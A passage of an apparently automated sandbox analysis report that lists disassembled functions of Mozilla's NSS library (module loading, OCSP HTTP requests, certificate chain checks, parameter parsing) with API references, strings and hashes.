free.MOZGLUE(00000000), ref: 6C627550
free.MOZGLUE(00000000), ref: 6C627561
free.MOZGLUE(00000000), ref: 6C627572
free.MOZGLUE(00000000), ref: 6C627583
free.MOZGLUE(00000000), ref: 6C627594
free.MOZGLUE(00000000), ref: 6C6275A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6275BD
free.MOZGLUE(00000000), ref: 6C6275C8
free.MOZGLUE(00000000), ref: 6C6275F1
PR_NewLock.NSS3 ref: 6C627636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C627686
PR_NewLock.NSS3 ref: 6C6276A2

Part of subcall function 6C6D98D0: calloc.MOZGLUE(00000001,00000084,6C600936,00000001,?,6C60102C), ref: 6C6D98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6276B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C627707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C62771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C627731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C62774A
DeleteCriticalSection.KERNEL32(?), ref: 6C627770
free.MOZGLUE(?), ref: 6C627779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C62779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6277AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6277C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6277DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C627821
PORT_Alloc_Util.NSS3(?), ref: 6C627837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C62785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C62786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6278AC
free.MOZGLUE(00000000), ref: 6C6278BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6278F3
free.MOZGLUE(00000000), ref: 6C6278FC
free.MOZGLUE(00000000), ref: 6C62791C

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Strings

dll, xrefs: 6C62788E
NSS Internal Module, xrefs: 6C6274A2, 6C6274C6
rdb:, xrefs: 6C627744
dbm:, xrefs: 6C627716
kbi., xrefs: 6C627886
extern:, xrefs: 6C62772B
sql:, xrefs: 6C6276FE
Spac, xrefs: 6C627389
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6274C7
,defaultModDB,internalKeySlot, xrefs: 6C62748D, 6C6274AA

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: bcd161225da61d556d38140080d4ce631e28abbfc6c3edcb796b0f34f896e24f
Instruction ID: 369015902ad6742fde1eb5ff0f08d431dc4edeb7a31acdf01d3bb2377945202e
Opcode Fuzzy Hash: bcd161225da61d556d38140080d4ce631e28abbfc6c3edcb796b0f34f896e24f
Instruction Fuzzy Hash: AD52F1B1E01315DBEF119F64CC09BAA7BB4BF06348F144038EC19A6A41E739D954CFAA

Function 6C61EA80 Relevance: 107.5, APIs: 49, Strings: 12, Instructions: 735stringmemoryCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000), ref: 6C61EAB1

Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90AB
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90C9
Part of subcall function 6C6D9090: EnterCriticalSection.KERNEL32 ref: 6C6D90E5
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D9116
Part of subcall function 6C6D9090: LeaveCriticalSection.KERNEL32 ref: 6C6D913F

PR_ExitMonitor.NSS3 ref: 6C61EAC5

Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D945B
Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D9479
Part of subcall function 6C6D9440: EnterCriticalSection.KERNEL32 ref: 6C6D9495
Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D94E4
Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D9532
Part of subcall function 6C6D9440: LeaveCriticalSection.KERNEL32 ref: 6C6D955D

PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C61EBAF
PR_Socket.NSS3(00000002,00000001,00000000), ref: 6C61EBF8
PR_StringToNetAddr.NSS3(?,?), ref: 6C61EC20
PORT_Alloc_Util.NSS3(00000800), ref: 6C61EC39
PR_GetHostByName.NSS3(?,00000000,00000800,?), ref: 6C61EC5A
PR_EnumerateHostEnt.NSS3(00000000,?,?,?), ref: 6C61EC85
free.MOZGLUE(?), ref: 6C61ECB6
PR_SetError.NSS3(FFFFE078,00000000), ref: 6C61ECCF
free.MOZGLUE(?), ref: 6C61ED10
free.MOZGLUE(?), ref: 6C61ED26
PR_InitializeNetAddr.NSS3(00000000,?,?), ref: 6C61ED35
PR_snprintf.NSS3(?,00000010,:%d,?), ref: 6C61ED7F
PR_smprintf.NSS3(POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u,?,?,00000000,?), ref: 6C61EDAB
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C61EDBE
free.MOZGLUE(00000000), ref: 6C61EE9B
PR_smprintf.NSS3(GET %s HTTP/1.0Host: %s%s,?,?,00000000), ref: 6C61EEB1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C61EEC0
free.MOZGLUE(00000000), ref: 6C61EEE2
free.MOZGLUE(00000000), ref: 6C61EEF2
free.MOZGLUE(?), ref: 6C61EF15
free.MOZGLUE(?), ref: 6C61EF27
realloc.MOZGLUE(00000000,-00000401), ref: 6C61EF5C

Part of subcall function 6C61E910: PL_strncasecmp.NSS3(?,http://,00000007), ref: 6C61E93B
Part of subcall function 6C61E910: PR_SetError.NSS3(FFFFE075,00000000), ref: 6C61E94E

strstr.VCRUNTIME140(-000000F8,), ref: 6C61F00C
strstr.VCRUNTIME140(00000000,6C76010D), ref: 6C61F03F
strchr.VCRUNTIME140(00000000,00000020), ref: 6C61F055
PL_strncasecmp.NSS3(00000000,HTTP/,00000005), ref: 6C61F06D
free.MOZGLUE(00000000), ref: 6C61F07A
PR_SetError.NSS3(FFFFE077,00000000), ref: 6C61F08A
strchr.VCRUNTIME140(?,00000020), ref: 6C61F0AC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,200), ref: 6C61F0C4
strchr.VCRUNTIME140(?,0000003A), ref: 6C61F0FA
strstr.VCRUNTIME140(-00000002,6C76010D), ref: 6C61F124
PL_strcasecmp.NSS3(?,content-type), ref: 6C61F13D
PL_strcasecmp.NSS3(?,content-length), ref: 6C61F14F
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(?), ref: 6C61F15F
PL_strcasecmp.NSS3(?,application/ocsp-response), ref: 6C61F1A0
memcpy.VCRUNTIME140(00000000,?), ref: 6C61F1CD
PR_SetError.NSS3(FFFFE077,00000000), ref: 6C61F231
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6C61F387
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6C61F39C
free.MOZGLUE(00000000), ref: 6C61F3A5
free.MOZGLUE(00000000), ref: 6C61F3B1

Part of subcall function 6C600F00: PR_GetPageSize.NSS3(6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F1B
Part of subcall function 6C600F00: PR_NewLogModule.NSS3(clock,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F25

Strings

POST, xrefs: 6C61EB58, 6C61EB81
HTTP/, xrefs: 6C61F067
content-type, xrefs: 6C61F137
:%d, xrefs: 6C61ED73
http, xrefs: 6C61EB86
POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u, xrefs: 6C61EDA6
GET, xrefs: 6C61EB53
application/ocsp-response, xrefs: 6C61F19A
content-length, xrefs: 6C61F149
GET %s HTTP/1.0Host: %s%s, xrefs: 6C61EEAC
application/ocsp-request, xrefs: 6C61EE25
200, xrefs: 6C61F0BB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$Value$Error$CriticalSection$EnterL_strcasecmpstrchrstrstr$AddrHostL_strncasecmpLeaveMonitorR_smprintfUtilmemcpystrlen$AllocAlloc_EnumerateExitInitializeItem_ModuleNamePageR_snprintfSizeSocketStringatoireallocstrcmp
String ID: 200$:%d$GET$GET %s HTTP/1.0Host: %s%s$HTTP/$POST$POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u$application/ocsp-request$application/ocsp-response$content-length$content-type$http
API String ID: 3957390022-1324771758
Opcode ID: a014f3b3891c69df0730eec19d50590a9fd27c363b5b9b607005a29a8208b04e
Instruction ID: 0144b293ed5763b9df1d146498e0591b65cc752b4dc15ce2bcca5290adb9446f
Opcode Fuzzy Hash: a014f3b3891c69df0730eec19d50590a9fd27c363b5b9b607005a29a8208b04e
Instruction Fuzzy Hash: 4942B171608301AFEB009F29DC89B5B77E4AF8535AF044538F94993B50E735E909CBAB

Function 6C61CA70 Relevance: 84.8, APIs: 56, Instructions: 849threadtimememoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C61CB45
PORT_ZAlloc_Util.NSS3(00000040), ref: 6C61CB5B
CERT_GetConstrainedCertificateNames.NSS3(?,00000010,?), ref: 6C61CBEB
realloc.MOZGLUE(?,00000000), ref: 6C61CC3B
PR_SetError.NSS3(FFFFE029,00000000), ref: 6C61CD25
PR_GetCurrentThread.NSS3 ref: 6C61CD35
CERT_FindCertIssuer.NSS3(?,00000001,?,00000001), ref: 6C61CD74
CERT_CheckCertValidTimes.NSS3(?,00000001,?,00000000), ref: 6C61CD9D
PR_GetCurrentThread.NSS3 ref: 6C61CDBA
PR_SetError.NSS3(FFFFE01E,00000000), ref: 6C61CDD2
PR_GetCurrentThread.NSS3 ref: 6C61CDE9
PR_SetError.NSS3(FFFFE024,00000000), ref: 6C61CE7C
PR_GetCurrentThread.NSS3 ref: 6C61CE93
PR_SetError.NSS3(FFFFE025,00000000), ref: 6C61CEC1
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C61CF8F
memcmp.VCRUNTIME140(?,6C7396B4,00000048), ref: 6C61CFC8
PR_GetCurrentThread.NSS3 ref: 6C61D071
CERT_GetCertTrust.NSS3(?,?), ref: 6C61D091
PR_SetError.NSS3(FFFFE024,00000000), ref: 6C61D0C6
PR_GetCurrentThread.NSS3 ref: 6C61D0DD
PR_SetError.NSS3(FFFFE05A,00000000), ref: 6C61D116
PR_GetCurrentThread.NSS3 ref: 6C61D131
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C61D1D9
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C61D225
CERT_DestroyCertificate.NSS3(?), ref: 6C61D410
PR_SetError.NSS3(FFFFE0B6,00000000), ref: 6C61D44E
PR_GetCurrentThread.NSS3 ref: 6C61D45E
PR_GetCurrentThread.NSS3 ref: 6C61D1EC

Part of subcall function 6C61C9A0: PORT_ArenaAlloc_Util.NSS3(00000000,00000018,?,00000001,00000000,?,6C61D864,?,00000000,?), ref: 6C61C9AE

PR_SetError.NSS3(FFFFE014,00000000), ref: 6C61D285
PR_GetCurrentThread.NSS3 ref: 6C61D298
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C61D2D7
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C61D330
PR_GetCurrentThread.NSS3 ref: 6C61D34C
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C61D392
CERT_DestroyCertificate.NSS3(?), ref: 6C61D3BC
PR_SetError.NSS3(FFFFE00D,00000000), ref: 6C61D3DF
PR_GetCurrentThread.NSS3 ref: 6C61D3EE
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C61CE12

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_GetCurrentThread.NSS3 ref: 6C61CE22
PR_GetCurrentThread.NSS3 ref: 6C61CED8
memcmp.VCRUNTIME140(?,6C7396FC,00000048), ref: 6C61CFDC
CERT_GetCertTimes.NSS3(?,?,?), ref: 6C61CFF6
PR_GetCurrentThread.NSS3 ref: 6C61CDFD

Part of subcall function 6C6D9BF0: TlsGetValue.KERNEL32(?,?,?,6C720A75), ref: 6C6D9C07

PR_GetCurrentThread.NSS3 ref: 6C61CE52
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C61D4C4
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C61D4E2
PR_GetCurrentThread.NSS3 ref: 6C61D4EA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C61D515
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C61D52C
PR_GetCurrentThread.NSS3 ref: 6C61D540
free.MOZGLUE(?), ref: 6C61D567
CERT_DestroyCertificate.NSS3(00000000), ref: 6C61D575
CERT_DestroyCertificate.NSS3(?), ref: 6C61D584
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C61D592

Part of subcall function 6C6306A0: TlsGetValue.KERNEL32 ref: 6C6306C2
Part of subcall function 6C6306A0: EnterCriticalSection.KERNEL32(?), ref: 6C6306D6
Part of subcall function 6C6306A0: PR_Unlock.NSS3 ref: 6C6306EB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CurrentErrorThread$CertificateDestroyUtil$Cert$Value$Alloc_Arena_Timesmemcmp$ArenaCheckConstrainedCriticalEnterEqual_FindFreeIssuerItemsNamesPublicSectionTrustUnlockValidfreerealloc
String ID:
API String ID: 3754541784-0
Opcode ID: 6d3ca4f663a07dfdbcbe29900ec41c2bfceeb4aec7973d855cf97d91f77fa7e6
Instruction ID: f031526a8299d4aee26832c9d11932a433e9cd7647ade6261f7ba013591e3bbd
Opcode Fuzzy Hash: 6d3ca4f663a07dfdbcbe29900ec41c2bfceeb4aec7973d855cf97d91f77fa7e6
Instruction Fuzzy Hash: 0F52D171A0C301ABEB019F2D8C40B5F77A1AF8531EF148528F95697FA1E731E819CB5A

Function 6C6609B0 Relevance: 66.8, APIs: 44, Instructions: 817memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C661AD3), ref: 6C6609D5
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C661AD3), ref: 6C6609E9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C660A18
PR_SetError.NSS3(00000000,00000000), ref: 6C660A30
memcpy.VCRUNTIME140(?,00000000,00000020,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C660CC9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C660D05
EnterCriticalSection.KERNEL32(?), ref: 6C660D19
PR_Unlock.NSS3(?), ref: 6C660D36
free.MOZGLUE(?), ref: 6C660D75
TlsGetValue.KERNEL32 ref: 6C660DA1
EnterCriticalSection.KERNEL32(?), ref: 6C660DB5
PR_Unlock.NSS3(?), ref: 6C660DEB
PORT_Alloc_Util.NSS3(?), ref: 6C660DFF
PR_Unlock.NSS3(?), ref: 6C660E37
free.MOZGLUE(?), ref: 6C660E4E
PR_SetError.NSS3(00000000,00000000), ref: 6C660E6A
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C660E9A
TlsGetValue.KERNEL32 ref: 6C660F23
EnterCriticalSection.KERNEL32(?), ref: 6C660F37
PR_SetError.NSS3(00000000,00000000), ref: 6C660FC7

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_Unlock.NSS3(?), ref: 6C660FDE
TlsGetValue.KERNEL32 ref: 6C660FFA
EnterCriticalSection.KERNEL32(?), ref: 6C66100E
PR_Unlock.NSS3(?), ref: 6C661050
PR_Unlock.NSS3(?), ref: 6C661073
TlsGetValue.KERNEL32 ref: 6C661087
EnterCriticalSection.KERNEL32(?), ref: 6C66109B
PR_Unlock.NSS3(?), ref: 6C6610B8
free.MOZGLUE(?), ref: 6C661113
PORT_Alloc_Util.NSS3(?), ref: 6C661151
free.MOZGLUE(?), ref: 6C6611AB
TlsGetValue.KERNEL32 ref: 6C661296
EnterCriticalSection.KERNEL32(?), ref: 6C6612AB
PR_Unlock.NSS3(?), ref: 6C6612D9
TlsGetValue.KERNEL32 ref: 6C6612F4
EnterCriticalSection.KERNEL32(?), ref: 6C66130C
PR_Unlock.NSS3(?), ref: 6C661340
TlsGetValue.KERNEL32 ref: 6C661354
EnterCriticalSection.KERNEL32(?), ref: 6C66136C
PR_Unlock.NSS3(?), ref: 6C6613A3
TlsGetValue.KERNEL32 ref: 6C6613BA
EnterCriticalSection.KERNEL32(?), ref: 6C6613CF
PR_Unlock.NSS3(?), ref: 6C6613FB

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

PR_SetError.NSS3(FFFFE040,00000000), ref: 6C66141E

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalSection$Enter$Errorfree$Alloc_Utilcalloc$Leavememcpymemset
String ID:
API String ID: 3136013483-0
Opcode ID: 938a70d4d73876914f025bc606f2e6d00c33e77855de36018812041be99a30cb
Instruction ID: 56986262701910fbccd76b06ef12ad97fb68dc008c2eb69283e40c6e3b84c684
Opcode Fuzzy Hash: 938a70d4d73876914f025bc606f2e6d00c33e77855de36018812041be99a30cb
Instruction Fuzzy Hash: 9672C3B1D00254DFEF119F26C8887A97BB4BF06318F1801B9DC099BB52D734E995CB9A

Function 6C674840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C65601B,?,00000000,?), ref: 6C67486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C6748A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C6748BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C6748DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C6748F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C67490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C674919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C67493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C674970
PORT_Alloc_Util.NSS3(00000001), ref: 6C6749A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C6749AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6749D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C6749F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C674A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C674A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C674A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C674A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C674A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C674A81
free.MOZGLUE(00000000), ref: 6C674AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C674ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C674ADC
free.MOZGLUE(00000000), ref: 6C674B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C674B33

Part of subcall function 6C674120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C67413D
Part of subcall function 6C674120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C674162
Part of subcall function 6C674120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C67416B
Part of subcall function 6C674120: PL_strncasecmp.NSS3(2Bgl,?,00000001), ref: 6C674187
Part of subcall function 6C674120: NSSUTIL_ArgSkipParameter.NSS3(2Bgl), ref: 6C6741A0
Part of subcall function 6C674120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6741B4
Part of subcall function 6C674120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C6741CC
Part of subcall function 6C674120: NSSUTIL_ArgFetchValue.NSS3(2Bgl,?), ref: 6C674203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C674B53
free.MOZGLUE(00000000), ref: 6C674B94
free.MOZGLUE(?), ref: 6C674BA7
free.MOZGLUE(00000000), ref: 6C674BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C674BC8

Strings

askpw, xrefs: 6C674A4A
hasRootCerts, xrefs: 6C674AD6
hasRootTrust, xrefs: 6C674B4D
every, xrefs: 6C674A66
rootFlags, xrefs: 6C674AB9, 6C674B2E
slotFlags, xrefs: 6C674A22
timeout, xrefs: 6C674A38, 6C674A7B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 70b03fce7241e43aec4f418b1ed21e18edbbc81d2395c823223c3945ab231372
Instruction ID: 2cefe320a3e850c5678cf6469eaddea76ebbcd897dae5981ab502ae761214170
Opcode Fuzzy Hash: 70b03fce7241e43aec4f418b1ed21e18edbbc81d2395c823223c3945ab231372
Instruction Fuzzy Hash: 39C11670E052559BEF20CF699C48BBE7BB8AF06308F140865E855A7701E7A1DD14CFB9

Function 6C636D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C73A8EC,0000006C), ref: 6C636DC6
memcpy.VCRUNTIME140(?,6C73A958,0000006C), ref: 6C636DDB
memcpy.VCRUNTIME140(?,6C73A9C4,00000078), ref: 6C636DF1
memcpy.VCRUNTIME140(?,6C73AA3C,0000006C), ref: 6C636E06
